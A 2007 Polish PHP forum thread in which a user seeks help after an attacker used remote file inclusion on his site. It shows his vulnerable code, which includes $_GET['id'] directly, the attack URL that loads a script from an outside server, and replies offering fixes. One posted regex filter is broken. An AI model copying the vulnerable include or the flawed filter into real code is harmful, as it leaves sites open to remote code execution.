Witaj Gościu! ( Zaloguj | Rejestruj )

Forum PHP.pl

 
Reply to this topicStart new topic
> [php] dziura w skrypcie $id = $_GET['id'];
kumanprx
post 24.05.2007, 20:10:39
Post #1





Grupa: Zarejestrowani
Postów: 8
Pomógł: 0
Dołączył: 28.11.2006

Ostrzeżenie: (0%)
-----


witam,
ostatnio na moim servaerze ktos wykorzystal blad znajdujacy sie w skrypcie ktory napisalem , otorz :
wykonal polecenie za pomoca mojego servera tzn : www.example.pl/index.php?id=http://www.naszserver.pl/nazwa_pliku.txt

niestety przez ta diure w skrypcie zostalo zawieszone mi konto hostingowe , zrodlo mojego pliku index.php to :

Kod
<?
$id = $_GET['id'];
if($id=="") include('indeks2.php');

else
{
#if(file_exists("$id.php"))
$a=$id.".php";
include ($a);
#else
#include("404.html");
}
?>


Niestety nie wiem co mam zrobic , jakie zmiany wprowadzic aby nie bylo mozliwe wykorzystywanie skryptow z poza mojego servera ?
pozdrawiam serdecznie

[+] edit
Przenoszę na Przedszkole.
---
~strife
Go to the top of the page
+Quote Post
kwiateusz
post 24.05.2007, 20:34:02
Post #2


Admin Techniczny


Grupa: Administratorzy
Postów: 2 071
Pomógł: 93
Dołączył: 5.07.2005
Skąd: Olsztyn




a czemu if, else masz zakomentowane??
Go to the top of the page
+Quote Post
lopez86
post 24.05.2007, 20:45:57
Post #3





Grupa: Zarejestrowani
Postów: 187
Pomógł: 0
Dołączył: 24.12.2006

Ostrzeżenie: (0%)
-----


a co to za problem questionmark.gif nie dość że masz zakomentowane to nie wiesz że możesz sprawdzić co znajduje się w zmiennej z $_GET i dopóścić tylko np. litery i cyfry oraz kropke a w przeciwnym razie includujesz index .


--------------------
c++ , javascript , PHP , SQL , MYSQL , CSS - wszystko czego potrzebuje prawdziwy mężczyzna LoL
Go to the top of the page
+Quote Post
starach
post 25.05.2007, 10:19:31
Post #4





Grupa: Zarejestrowani
Postów: 999
Pomógł: 30
Dołączył: 14.01.2007
Skąd: wiesz ?

Ostrzeżenie: (0%)
-----


  1. <?php
  2. if(isset($_GET['id']))
  3. {
  4. if(empty($_GET['id'])) {
  5. include('indeks2.php');
  6. } else if(preg_match('!:|/|!',$_GET['id']) == 0) // Jeśli w zmiennej nie ma :,/, wykonaj include
  7. {
  8. include($_GET['id'].'.php');
  9. }
  10. }
  11. ?>
Go to the top of the page
+Quote Post
bełdzio
post 25.05.2007, 11:49:56
Post #5





Grupa: Zarejestrowani
Postów: 690
Pomógł: 81
Dołączył: 6.04.2005
Skąd: Szczecin

Ostrzeżenie: (0%)
-----


use file_exists


--------------------
Go to the top of the page
+Quote Post

Reply to this topicStart new topic
1 Użytkowników czyta ten temat (1 Gości i 0 Anonimowych użytkowników)
0 Zarejestrowanych:

 



RSS Wersja Lo-Fi Aktualny czas: 17.06.2025 - 18:39